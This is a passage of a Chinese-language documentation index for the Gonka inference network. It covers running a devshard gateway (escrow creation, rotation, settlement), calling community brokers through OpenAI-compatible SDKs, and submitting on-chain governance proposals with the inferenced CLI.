CREATE_JSON=$(curl -sS -X POST http://127.0.0.1:18080/v1/admin/escrows \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d \"{ \\\"amount\\\": 5000000000, \\\"model_id\\\": \\\"MiniMaxAI/MiniMax-M2.7\\\", \\\"private_key\\\": \\\"$DEVSHARD_PRIVATE_KEY\\\", \\\"chain_id\\\": \\\"$CHAIN_ID\\\", \\\"register\\\": true }\") echo \"$CREATE_JSON\" | jq .
export ESCROW_ID=$(echo \"$CREATE_JSON\" | jq -r '.escrow_id') echo \"ESCROW_ID=$ESCROW_ID\" ``在本指南的其余部分，请在 shell 中保留ESCROW_ID。在新的会话中，请重新设置它（例如export ESCROW_ID=1`）。
模型默认为仅限管理员访问（admin_only），直到您启用 API 密钥访问：bash curl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"default_request_max_tokens\": 3072, \"request_max_tokens_cap\": 4096, \"model_limits\": [{ \"model_id\": \"MiniMaxAI/MiniMax-M2.7\", \"access_mode\": \"api_key\" }] }'确认托管已加载：bash curl -fsS http://127.0.0.1:18080/v1/status | jq . curl -fsS http://127.0.0.1:18080/v1/admin/devshards \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq .### 运行多个托管（并行池）
一个网关进程可以同时服务多个托管。可以在容器环境变量中通过 **DEVSHARDS_JSON 在首次启动时注册它们，或之后使用 **POST /v1/admin/devshards 或 **POST /v1/admin/escrows（设置 \"register\": true）添加更多。在池模式下，**POST /v1/chat/completions 会为每个请求选择一个活跃的托管——选择器会根据运行时的负载（进行中的请求数与容量权重）进行评分，并将请求路由到与所请求模型最匹配的托管。
在池模式下，**GET /v1/status 会列出所有 devshard 以及限流器和容量信息；当仅配置了一个托管时，其行为与简单代理相同。针对单个托管的管理接口使用 **/devshard/{id}/… 前缀（例如 **POST /devshard/{id}/v1/finalize）；而裸路径 **POST /v1/finalize 仅在配置了单个托管时有效。本文档中 §5–§6 使用单个托管示例；当你需要更高吞吐量或跨纪元轮换时，请使用池模式。
本指南中 §4.1–§4.2 和 §5–§6 的步骤演示了一次手动创建托管的过程。这对首次测试是合适的模型。在主网上，网关也可以在纪元边界自动轮换托管，以避免容量耗尽。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#_6", "title": "手动托管的生命周期是多久？", "text": "网关对用户自行创建的单个托管没有固定的时钟超时限制。
限制 含义 你的工作流 托管将持续提供聊天服务，直到你手动执行终结并结算（见 §6）。 链上纪元 每个托管与其创建时所在的链纪元（epoch_index）绑定。这对协议存储和链规则很重要，但本指南中不涉及“N小时后自动过期”这类简单计时机制。 余额 推理过程会消耗托管的存款。网关大约每 30 秒检查一次活跃托管。如果可用余额低于 1,000,000 ngonka，则视为托管已耗尽。 Nonce 预算 链下 devshard 状态通过 nonce 推进。多托管网关会在 nonce 接近 19,800 时停止为新聊天请求路由（此限制未来将大幅提高）。另外，devshard_escrow_params.max_nonce 是链上结算的上限值——可在 §2.4 中查询（主网 v0.2.13 之后为 1,000,000）。 链上限额 治理机制设置了 max_escrows_per_epoch：当前纪元中全链允许的devshard 托管总数上限（非每个创建者）。可在 §2.4 查询实时值。主网 v0.2.13 之后该值为 500,000。 默认行为：escrow_rotation 在管理员设置中默认关闭。关闭轮换时，当余额或 nonce 耗尽，网关不会自动创建替代托管——仅记录日志，并可能停止将新请求路由至该托管。建议在存款耗尽前手动终结并结算，或启用自动轮换（如下所述）。
默认不会。自动轮换是可选功能，需通过 POST /v1/admin/settings 设置 escrow_rotation 启用。
当 **escrow_rotation.enabled 为 true 时，后台任务约每 15 秒运行一次，并根据链的纪元 / PoC 时间表**协调托管：
**pre_poc_blocks（以即将到来的 set_new_validators 边界为准，而非仅“PoC 开始”）：对每个配置的模型，创建 **temp_count 个临时“桥接”托管，然后终结并结算该模型当前的常规托管（若 devshard 仍有进行中的请求，则跳过结算）。**target_count 个新的常规托管，然后终结并结算桥接阶段的临时**托管。如果临时托管创建失败，网关可能会将现有的常规托管提升为临时角色，以避免无桥接托管可用。
启用轮换后，网关还可以为已耗尽的托管（余额低、nonce 高，或请求中途耗尽）替换：创建新的链上托管并结算旧的——但仅适用于 escrow_rotation.models 中列出的模型。
资金与轮换：每次纪元转换都会先创建新的链上托管（每模型创建 temp_count 个桥接托管，再创建 target_count 个常规托管），然后才结算之前的托管。每次创建都会从 $DEVSHARD_CREATOR 锁定一笔 amount，直到结算返还未使用部分。请确保创建者钱包余额至少为每模型每纪元 (temp_count + target_count) × amount ngonka，外加创建和结算交易的 gas 费用，并保留额外余量，因为在轮换过程中桥接和常规托管可能短暂重叠。
请在已手动创建、注资并测试至少一个托管后（见 §4）再启用此功能。轮换需要容器中配置相同的 private_key_env（例如 DEVSHARD_PRIVATE_KEY），且创建者账户需有足够的 ngonka 支持上述多次存款，而不仅仅是一个托管的 amount。
示例（单个模型，可根据容量调整数量；生产环境中通常为每个模型运行多个常规托管，**temp_count: 1** 用于纪元桥接）：```bash source config.devshard.env
curl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"escrow_rotation\": { \"enabled\": true, \"pre_poc_blocks\": 300, \"models\": [{ \"model_id\": \"MiniMaxAI/MiniMax-M2.7\", \"temp_count\": 1, \"target_count\": 1, \"amount\": 5000000000, \"private_key_env\": \"DEVSHARD_PRIVATE_KEY\" }] } }' ```无需重启：在设置中启用轮换功能后，会立即在运行的网关上启动轮换器。
检查轮换时间及每个模型的上一次轮换结果：bash curl -fsS http://127.0.0.1:18080/v1/debug/rotation \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq有用的字段包括 chain.blocks_until_next_rotation、settings 和 latest（按模型的阶段、计数和错误信息）。
\"escrow_rotation\": { \"enabled\": true, ... }，并且 GET /v1/debug/rotation 返回 enabled: true。 一次失败后即停止创建 网关在链上创建失败后（例如资金不足或超出每 epoch 托管限额），会抑制针对相同模型、角色和 epoch 的重复创建。请查阅 /v1/debug/rotation 和 docker logs 中的 escrow_rotation_* 或 escrow_depletion_replacement_failed 日志。 结算始终无法完成 结算需等待 devshard 无活跃请求时才能进行。在预期轮换结算完成前，请先清空或停止流量。 托管耗尽但未替换 替换需要启用轮换，并且 escrow_rotation.models 中需有对应条目。否则，请手动完成第6节中的最终化和结算。 epoch 时间不正确 轮换依赖链上的实时阶段数据；请确保 DEVSHARD_PUBLIC_API / chain 指向你的主网节点（参见第2.2节）。 如需进行单次手动测试，请保持轮换禁用状态，先完成第5节，然后执行第6节。当你希望网关在多个 epoch 间自动维护最新托管余额而无需手动重建时，再启用轮换功能。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#5", "title": "5. 发送测试请求", "text": "网关端点兼容 OpenAI 接口。设置你的 API 密钥并发送一个聊天补全请求：```bash source config.devshard.env
curl -sS http://127.0.0.1:18080/v1/chat/completions \\ -H \"Authorization: Bearer $DEVSHARD_API_KEYS\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"model\": \"MiniMaxAI/MiniMax-M2.7\", \"messages\": [{\"role\": \"user\", \"content\": \"How long do hamsters live?\"}], \"max_tokens\": 32 }' | jq '{id, content: .choices[0].message.content}' ``稍后，你应该会在content中看到模型的回复。如果收到 **401** 错误并提示\"requires an admin API key\"`，请回到第4.2节重新执行设置的 POST 请求。
完成推理后，网关会先终结链下 devshard 的状态，然后你需在链上提交结算。这两个步骤都需要先执行 source config.devshard.env，并确保 §4.1 中设置的 ESCROW_ID 非空。
终结操作是针对每个托管资金进行的，必须使用路径 /devshard/{id}/v1/finalize，而不能仅使用 /v1/finalize。
cd /srv/gonka/devshard-gateway source config.devshard.env
if [ -z \"${ESCROW_ID:-}\" ]; then echo \"ESCROW_ID is unset — export it from §4.1 (e.g. export ESCROW_ID=2)\" exit 1 fi echo \"Using ESCROW_ID=$ESCROW_ID\"
curl -fsS http://127.0.0.1:18080/v1/admin/devshards \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq .
curl -fS -X POST \"http://127.0.0.1:18080/devshard/${ESCROW_ID}/v1/finalize\" \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -o settlement.json
jq '{escrow_id, version, fees}' settlement.json wc -c settlement.json ```-f 参数会使 curl 在遇到 HTTP 错误时失败，而不是写入一个空文件。一个 0 字节 的 settlement.json 文件通常意味着 ESCROW_ID 为空（请求发送到了 /devshard//v1/finalize，返回了 404 且无响应体）。
如果 finalize 失败，请检查响应内容以及网关日志：bash curl -sS -w \"\\nHTTP %{http_code}\\n\" \\ -X POST \"http://127.0.0.1:18080/devshard/${ESCROW_ID}/v1/finalize\" \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" sudo docker logs devshardctl-multi --tail 80### 6.2 链上结算
未使用的 ngonka 金额将在向托管方支付和协议费用扣除后，退还至您的创建者地址。```bash source config.devshard.env
curl -sS -X POST \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}/settle\" \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{\"private_key_env\":\"DEVSHARD_PRIVATE_KEY\"}' ```### 6.3 确认结算和退款
链上托管状态：```bash source config.devshard.env
inferenced query inference show-devshard-escrow \"$ESCROW_ID\" \\ --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\ | jq '{id: .escrow.id, settled: .escrow.settled, creator: .escrow.creator, amount: .escrow.amount}' ``预期settled: true。amount字段是原始存款元数据；结算后，活跃代币将返还至$DEVSHARD_CREATOR`。
创建者钱包余额（主要检查资金是否已返还）：```bash source config.devshard.env
inferenced query bank balances \"$DEVSHARD_CREATOR\" \\ --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\ | jq '.balances[] | select(.denom==\"ngonka\") | {denom, amount}' ``结算后，大部分未使用的存款应退还给$DEVSHARD_CREATOR`，仅扣除推理成本、结算费用和交易 Gas 费用。
第 §1 至 §6 节涵盖单个测试托管账户的流程。本节介绍如何暂停路由、按需重定向客户端或关闭主机。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#71", "title": "7.1 停用单个托管账户", "text": "在 §6 中完成结算后，托管账户记录仍保留在链上；停用 仅表示该网关不再将新的聊天请求路由到该托管账户。池中其他仍处于激活状态的托管账户将继续提供服务。```bash source config.devshard.env
curl -sS -X POST \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}/deactivate\" \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" ```### 7.2 重定向所有客户端流量（网关熔断开关）
在保留管理员访问权限（如完成操作、设置、导入、调试）的同时，若需通知 API 客户端停止使用此网关 URL，请启用网关的禁用状态。非管理员请求（例如共用的 /v1/chat/completions）将收到 HTTP 308 响应，其中包含 JSON 格式的 status、message 和 new_url 字段。而管理员路由（如 /v1/admin/*、/v1/debug/* 以及 /devshard/{id}/… 下的按托管完成接口）仍可通过管理员 API 密钥正常访问。```bash source config.devshard.env
curl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{ \"disabled\": { \"enabled\": true, \"message\": \"This gateway is retired; use the new base URL.\", \"new_url\": \"https://your-new-host.example/v1/chat/completions\" } }' ``要恢复正常服务，需再次发送 POST 请求，内容为\"enabled\": false。**仅在首次**启动网关时，可通过config.devshard.env中的DEVSHARD_GATEWAY_DISABLED、DEVSHARD_GATEWAY_DISABLED_MESSAGE和DEVSHARD_GATEWAY_DISABLED_NEW_URL参数进行引导配置（参见 [gonka](https://github.com/gonka-ai/gonka) 仓库中的网关环境模板）。一旦gateway.db文件已存在，请使用POST /v1/admin/settings` 接口进行配置。
（可选）移除本地网关记录（建议在容器仍在运行且已稳定后执行）：```bash source config.devshard.env
curl -sS -X DELETE \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}\" \\ -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" 停止 Docker：bash cd /srv/gonka/devshard-gateway sudo docker compose down
```---
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#8", "title": "8. 无损更新网关（热替换）", "text": "直接替换网关的 镜像 或重建主容器会导致正在进行的 /v1/chat/completions 流式请求中断。生产环境中通常采用 双容器 模式：并行运行一个 临时 网关实例，通过 nginx 别名 切换公网流量，并使用优雅的 nginx -s reload 重新加载配置， draining （排空）旧实例上的 active_requests，更新主容器后，再将流量切回，并将临时实例的托管状态 导入 到主网关中。
网关提供的功能支持：
devshardctl 进程（通常为端口 18081），配置 DEVSHARDS_JSON=[]，使其启动时不加载主托管账户。POST /v1/admin/escrows 接口，为临时桥接托管账户注资。GET /v1/status（或管理员状态接口）确认 **active_requests** 为零后再停止旧实例。POST /v1/admin/devshards/import，设置 active: false，然后在主实例上注册并激活，确保临时托管账户在切换后仍保留。详细操作步骤指南 正在准备中。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#_10", "title": "相关内容", "text": "需要帮助？ 查看 FAQ，加入 Discord，或在 GitHub 上提交 代理节点 / 白名单申请。
"}, {"location": "gonka/docs/zh/developer/quickstart/", "title": "快速上手", "text": ""}, {"location": "gonka/docs/zh/developer/quickstart/#_1", "title": "开发者快速入门", "text": "本指南解释了如何通过社区代理向 Gonka 发送推理请求。这是今天开始使用网络的最快方式。如果您希望自行运行网关而非通过代理，请参阅本页底部的“运行您自己的网关”。
如何连接到 Gonka
Gonka 推理现在围绕 devshards 组织——短暂的会话，持有小额链上存款（托管资金），并离线按请求结算。打开 devshard、签署请求、轮换会话以及提交结算到链上的职责由一种称为 网关 的软件执行。
对于大多数开发者而言，使用 Gonka 最简单的方式是调用 社区代理——一个通过网关提供推理访问并暴露标准 OpenAI 兼容 API 的第三方。您只需从代理获取一个 API 密钥即可。
Gonka 与传统 AI API 的区别Gonka 不仅仅是一个 AI API。它是一个用于可证明推理的加密协议，旨在使模型执行、计费和结算独立可审计，而非完全由单一提供商控制。
方面 传统 AI API (OpenAI、Anthropic 等) Gonka API 模型来源与可验证输出 模型由提供商托管和版本控制，但用户无法独立验证哪个模型生成了特定输出。 推理可链接到协议定义的模型元数据和网络执行记录，实现可验证的来源。 抗审查性 访问由提供商集中控制。 访问正逐步转向透明、协议治理的机制。当前生产访问仍受保护，协议级请求验证正在完成中。 可审计性与透明度 日志记录、计费和使用跟踪由 API 提供商控制。 请求、计费和结算设计为可签名、带时间戳且可审计。 透明代币经济 定价和资源分配由提供商定义。 网络的每次推理价格和结算由协议定义并上链，使底层推理经济可检查。"}, {"location": "gonka/docs/zh/developer/quickstart/#1", "title": "1. 使用社区代理（推荐）", "text": "代理是独立运营者，运行 Gonka 网关并向开发者转售推理服务。从您的应用程序角度看，代理端点的行为类似于任何 OpenAI 兼容的 API：您设置 base_url，传递 Authorization: Bearer <API_KEY> 头部，并像往常一样调用 /v1/chat/completions。
代理不属于核心协议
代理是独立的第三方。定价、支付方式（美元、加密货币、积分）、速率限制、支持的模型、SLA、退款政策和数据处理均由每个代理自行决定。在上线前，请阅读代理自己的文档和条款。
"}, {"location": "gonka/docs/zh/developer/quickstart/#11", "title": "1.1 选择一个代理", "text": "这是一个精选的社区代理目录，这些代理通过公共 Gonka 网关路由推理，并同意被公开列出。该列表并非详尽无遗，也不对任何运营商作出背书。列表在每次页面加载时随机排序，因此每个代理的位置不代表排名；请根据各自的优势评估每个运营商。此目录反映了一个早期启动集。希望独立提供推理服务的新运营商，请参阅有兴趣运营网关？。部分代理提供 ▶ 演示 链接，指向简短的入门录屏——风格和时长可能有所不同。
比较代理——社区可观测性仪表板社区成员对公共代理端点运行独立监控探针并发布结果。这些仪表板可帮助您在选择代理前比较正常运行时间、延迟和定价：
这些仪表板是社区构建的工具，不属于核心协议的一部分。数据准确性、方法论和可用性由每个仪表板运营商负责。请始终通过您自己的测试验证关键指标。每次页面加载时，列表都会以随机顺序显示。
"}, {"location": "gonka/docs/zh/developer/quickstart/#12-api", "title": "1.2 获取 API 密钥", "text": "遵循经纪商网站上的入门说明。通常，您需要：
base_url（例如 https://api.<broker-domain>/v1）以及支持的模型列表。将您的 API 密钥插入几乎任何支持 OpenAI 兼容提供商的 AI 软件、聊天界面或代理框架。
您需要从经纪商处获取三项内容（参见 §1.2）：基础 URL、您的 API 密钥 和一个 模型 ID。
在大多数应用中，映射关系如下：
应用中的字段 应输入的内容 API 基础 URL / 端点 您的经纪商 URL 加上/v1，例如 https://<broker-url>/v1。如果应用要求提供 \"OpenAI 基础 URL\" 或 \"自定义端点\"，这就是它。 API 密钥 / 认证令牌 您生成的密钥。即使应用提示 \"输入 OpenAI API 密钥\"，也请在此处使用您的经纪商密钥。 模型 / 自定义模型 您的经纪商支持的精确模型 ID。模型 ID 区分大小写 — 请完全复制，例如 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8。 以下菜单名称可能因应用版本而异 — 请查找等效设置。
聊天界面AI IDE 和编程代理无代码自动化示例：Open WebUI、LibreChat、LobeChat。
进入 设置 → AI 提供商 / 连接，选择 OpenAI 提供商，将默认的 OpenAI URL 替换为您的经纪商 URL 加上 /v1，插入您的密钥，并将模型 ID 添加到允许的模型列表中。
示例：Cursor、Cline、Windsurf。
进入 设置 → 模型，启用 OpenAI 兼容 提供商（或 添加自定义模型），用您的经纪商 URL 加上 /v1 覆盖基础 URL，并粘贴您的经纪商 API 密钥。
示例：Make.com、n8n、Flowise。
使用标准的 OpenAI 模块，然后查找高级设置以将 基础路径 / 基础 URL 替换为您的经纪商 URL。
更喜欢编写代码？请继续阅读 §1.4 在 Gonka 上发送您的第一个请求。
"}, {"location": "gonka/docs/zh/developer/quickstart/#14-gonka", "title": "1.4 在 Gonka 上发送您的第一个请求", "text": "设置环境变量：
export GONKA_BROKER_URL=<broker-base-url> # e.g. https://api.example-broker.com/v1\nexport GONKA_BROKER_API_KEY=<your-api-key>\nexport GONKA_MODEL=MiniMaxAI/MiniMax-M2.7 # or any model your broker supports\nGonka 经纪商端点与 OpenAI 兼容，因此您可以直接使用官方 OpenAI SDK —— 无需使用 Gonka 特定客户端。
PythonTypeScriptGo安装 OpenAI Python SDK：
pip install openai\n创建 example.py：
import os\nfrom openai import OpenAI\n\nclient = OpenAI(\n base_url=os.environ[\"GONKA_BROKER_URL\"],\n api_key=os.environ[\"GONKA_BROKER_API_KEY\"],\n)\n\nresponse = client.chat.completions.create(\n model=os.environ[\"GONKA_MODEL\"],\n messages=[\n {\"role\": \"user\", \"content\": \"Write a one-sentence bedtime story about a unicorn\"}\n ],\n)\n\nprint(response.choices[0].message.content)\n使用 python example.py 运行。
安装 OpenAI JS SDK：
npm install openai\n创建 example.mjs：
import OpenAI from \"openai\";\n\nconst client = new OpenAI({\n baseURL: process.env.GONKA_BROKER_URL,\n apiKey: process.env.GONKA_BROKER_API_KEY,\n});\n\nconst response = await client.chat.completions.create({\n model: process.env.GONKA_MODEL,\n messages: [{ role: \"user\", content: \"Hello! Tell me a short joke.\" }],\n});\n\nconsole.log(response.choices[0].message.content);\n使用 node example.mjs 运行。
使用官方的 openai-go 客户端：
package main\n\nimport (\n \"context\"\n \"log\"\n \"os\"\n\n \"github.com/openai/openai-go\"\n \"github.com/openai/openai-go/option\"\n)\n\nfunc main() {\n client := openai.NewClient(\n option.WithBaseURL(os.Getenv(\"GONKA_BROKER_URL\")),\n option.WithAPIKey(os.Getenv(\"GONKA_BROKER_API_KEY\")),\n )\n\n r, err := client.Chat.Completions.New(context.Background(), openai.ChatCompletionNewParams{\n Model: os.Getenv(\"GONKA_MODEL\"),\n Messages: []openai.ChatCompletionMessageParamUnion{\n openai.UserMessage(\"Write a haiku about programming\"),\n },\n })\n if err != nil {\n log.Fatal(err)\n }\n log.Println(r.Choices[0].Message.Content)\n}\n过一会儿，您应该会在终端中看到推理响应。
"}, {"location": "gonka/docs/zh/developer/quickstart/#15", "title": "1.5 工具调用", "text": "工具调用通过相同的 OpenAI 兼容端点支持。仅支持 type: \"function\" —— Gonka 在后台使用 vLLM，它实现了 OpenAI 聊天补全规范，而非助手 API（code_interpreter、file_search 不可用）。
import os\nimport json\nfrom openai import OpenAI\n\nclient = OpenAI(\n base_url=os.environ[\"GONKA_BROKER_URL\"],\n api_key=os.environ[\"GONKA_BROKER_API_KEY\"],\n)\n\ntools = [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"get_weather\",\n \"description\": \"Get the current weather for a city\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"city\": {\"type\": \"string\", \"description\": \"City name\"}\n },\n \"required\": [\"city\"],\n },\n },\n }\n]\n\nresponse = client.chat.completions.create(\n model=os.environ[\"GONKA_MODEL\"],\n messages=[{\"role\": \"user\", \"content\": \"What's the weather in Paris?\"}],\n tools=tools,\n tool_choice=\"auto\",\n)\n\nmessage = response.choices[0].message\nif message.tool_calls:\n call = message.tool_calls[0]\n args = json.loads(call.function.arguments)\n print(call.function.name, args)\nimport OpenAI from \"openai\";\n\nconst client = new OpenAI({\n baseURL: process.env.GONKA_BROKER_URL,\n apiKey: process.env.GONKA_BROKER_API_KEY,\n});\n\nconst tools = [\n {\n type: \"function\",\n function: {\n name: \"get_weather\",\n description: \"Get the current weather for a city\",\n parameters: {\n type: \"object\",\n properties: { city: { type: \"string\", description: \"City name\" } },\n required: [\"city\"],\n },\n },\n },\n];\n\nconst response = await client.chat.completions.create({\n model: process.env.GONKA_MODEL,\n messages: [{ role: \"user\", content: \"What's the weather in Paris?\" }],\n tools,\n tool_choice: \"auto\",\n});\n\nconst message = response.choices[0].message;\nif (message.tool_calls) {\n const call = message.tool_calls[0];\n const args = JSON.parse(call.function.arguments);\n console.log(call.function.name, args);\n}\n如果您的应用程序具有高吞吐量或其他要求，您可以自行运行 Gonka 网关，而不是通过代理。网关是一个小型程序（以 Docker 容器形式提供），您可以在自己的机器或服务器上运行——绝不能在 Gonka 主机上运行。它暴露与代理相同的 OpenAI 兼容 API，但密钥由您掌控，您直接在链上为它创建的 devshards 支付 GNK。
自托管网关需要允许列表中的地址
目前，只有链上 devshard_escrow_params.allowed_creator_addresses 列表中的 Gonka 账户才能打开 devshard。如果您的地址不在该列表中，您的网关无法创建会话，也无法发送推理请求。允许列表仅通过链上治理投票更改。请参阅下方的有兴趣运行网关？。
完整部署说明请参见运行您自己的网关。
"}, {"location": "gonka/docs/zh/developer/quickstart/#3", "title": "3. 有兴趣运行网关？", "text": "推理通过网关进入网络。有两种方式获得网关，它们的管理方式不同。
使用公共网关（当前代理）。 §1.1 中的代理通过早期部署期间建立的访问安排连接到公共 Gonka 网关。这是一个引导步骤，该目录不再主动扩展。
运行您自己的网关。 运行您自己的链上 devshard 网关。这需要您的地址在治理控制的允许列表中（devshard_escrow_params.allowed_creator_addresses），这是新操作员的推荐路径。完整说明请参见网关指南。
要申请链上允许列表准入，请在 GitHub 问题 中提交您的操作员名称和联系方式、您计划使用的 gonka1... 地址以及您计划提供的模型。是否列入名单由链上治理决定——任何单一操作员或组织均无权单方面添加地址——表达兴趣并不保证会被审核、列入或有明确时间表。
需要帮助？ 请参阅 FAQ 页面，或加入 Discord 服务器 获取技术问题或安全相关支持。
"}, {"location": "gonka/docs/zh/governance/creating-proposals/", "title": "创建提案", "text": ""}, {"location": "gonka/docs/zh/governance/creating-proposals/#gonka", "title": "如何在Gonka上创建并提交治理提案", "text": "使用inferenced提交提案的分步指南。 与Gonka交易和治理对齐。 在运行命令前，请将所有占位符替换为自己的值。
<COLD_KEY_NAME> 密钥环中的密钥名称（不是你的gonka1...地址） <PATH_TO_PROPOSAL_JSON> 提案JSON文件的路径，例如./proposal.json <NODE_URL> 节点基础URL，不含/chain-rpc/，例如http://node1.gonka.ai:8000 <CHAIN_ID> 例如主网的gonka-mainnet 如果命令因connection或parse失败，请检查每个RPC命令是否使用带恰好一个<NODE_URL>/chain-rpc/的/chain-rpc/。
inferenced query / tx <NODE_URL>/chain-rpc/（必须包含/chain-rpc/） create-client（种子节点上的HTTP .../v1/participants） <NODE_URL>（不含/chain-rpc/） 在create-client中为--node-address使用<NODE_URL>/chain-rpc/是错误的，会导致失败或调用错误的服务。
从Gonka发布页面下载适用于你操作系统的版本，解压后：
chmod +x inferenced\n./inferenced --help\n详细的 CLI 安装说明，请参见本地机器 CLI 设置指南。安装 CLI 后，您可以返回此页面并继续。
"}, {"location": "gonka/docs/zh/governance/creating-proposals/#2", "title": "2. 从链上读取治理参数", "text": "不要依赖旧文档中的固定数值。治理参数可在链上配置，因此在起草提案或宣布投票规则前，请查询实时数值：
./inferenced query gov params \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\" \\\n -o json | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n max_deposit_period,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\n您的提案JSON deposit 必须满足 min_deposit（相同的denom，金额 >= 最小值）。如果提案是加急的，请同时检查 expedited_min_deposit、expedited_voting_period 和 expedited_threshold。
在撰写本文时，主网使用：
min_deposit: 500000000000ngonka # 500 GNK\nexpedited_min_deposit: 1000000000000ngonka # 1000 GNK\nmax_deposit_period: 86400s # 24 hours\nvoting_period: 172800s # 48 hours\nexpedited_voting_period: 43200s # 12 hours\nquorum: 0.25\nthreshold: 0.500000000000000000\nexpedited_threshold: 0.667000000000000000\nveto_threshold: 0.334000000000000000\nburn_vote_veto: true\n准备一个 gov v1 JSON（messages, metadata, deposit, title, summary）.
提案必须至少包含一条消息 或 一个非空的 metadata 字段。如果一个信号类提案的 messages 数组为空且 metadata 也为空，则在提交时会被拒绝（either metadata or Msgs length must be non-nil），因此在这种情况下应将 metadata 设置为非空值。
需要准备的两个主要部分：
"}, {"location": "gonka/docs/zh/governance/creating-proposals/#_3", "title": "提案描述字段", "text": "保持链上文本简短清晰。
确保提案包含以下内容：
关于 JSON 结构，最佳方法是查看之前的提案并以其作为参考。
您可以检查之前提案的 JSON，了解不同类型提案的结构。 在许多情况下，从一个类似的先前提案出发并进行修改会更简便。
对于 MsgUpdateParams 等消息，链上要求提供完整的 params 对象以及正确的 authority（gov 模块地址）。 获取 gov 模块地址：
./inferenced query auth module-accounts \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\" \\\n -o json | jq -r '.accounts[] | select(.value.name==\"gov\") | .value.address'\n在需要消息类型的地方使用该地址作为 authority。
如果 jq 行没有打印任何内容，请运行一次不带 jq 的相同查询，并手动找到 gov 模块条目。输出格式可能因 SDK 版本而略有不同。
create-client)", "text": "这将创建一个密钥并调用种子 HTTP API（参与者注册）。 仅使用 <NODE_URL>：
./inferenced create-client \"<COLD_KEY_NAME>\" \\\n --node-address \"<NODE_URL>\"\n安全地保存助记词。 如果已有用于治理的已注资密钥，请跳过此步骤，避免重复注册。
在所有地方（例如 file）对 keys show、tx gov submit-proposal 和 tx gov vote 使用相同的 --keyring-backend。
./inferenced query bank balances \\\n \"$(./inferenced keys show \"<COLD_KEY_NAME>\" -a --keyring-backend file)\" \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --chain-id \"<CHAIN_ID>\"\n确保您有足够的ngonka（或您的节点所期望的费用代币）用于min_deposit和费用。
来自官方Gonka文档的推荐模式：
./inferenced tx gov submit-proposal \"<PATH_TO_PROPOSAL_JSON>\" \\\n --from \"<COLD_KEY_NAME>\" \\\n --keyring-backend file \\\n --chain-id \"<CHAIN_ID>\" \\\n --node \"<NODE_URL>/chain-rpc/\" \\\n --unordered --timeout-duration=60s \\\n --gas 2000000 --gas-adjustment 5.0 \\\n --yes\n提交后，请注意输出中的提案编号，或通过查询命令找到它。 分享提案编号，以便向社区发布公告。
"}, {"location": "gonka/docs/zh/governance/creating-proposals/#_5", "title": "投票与计票", "text": "投票步骤和结果计算公式在专用页面上有详细说明：
简而言之： 使用 MsgUpdateParams 起草提案，包含该模块的所有参数，确保保证金满足 min_deposit，提交后进行跟踪/追加保证金/投票。
inferenced query auth module-accounts --node <NODE_URL>/chain-rpc/ | grep -B2 'name: gov'\ninferenced query inference params -o json --node <NODE_URL>/chain-rpc/ > current_params.json\ninferenced query gov params -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.params | {\n min_deposit,\n expedited_min_deposit,\n voting_period,\n expedited_voting_period,\n quorum,\n threshold,\n expedited_threshold,\n veto_threshold,\n burn_vote_veto\n }'\ninferenced tx gov draft-proposal\n# fills draft_proposal.json and draft_metadata.json\n编辑draft_proposal.json并包含完整的params对象。
inferenced tx gov submit-proposal ./draft_proposal.json \\\n --from <COLD_KEY_NAME> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\ninferenced query gov proposals --node <NODE_URL>/chain-rpc/\n# 2a) Get current module params (example: inference module)\ninferenced query inference params -o json --node <NODE_URL>/chain-rpc/ > current_params.json\n\n# 2b) Extract proposed params from the proposal\ninferenced query gov proposal <VOTE_PROPOSAL_ID> -o json --node <NODE_URL>/chain-rpc/ \\\n | jq '.proposal.messages[] | select(.\"type\"==\"inference/x/inference/MsgUpdateParams\") | .value' \\\n > proposed_params.json\n\n# 2c) Diff\ndiff -u current_params.json 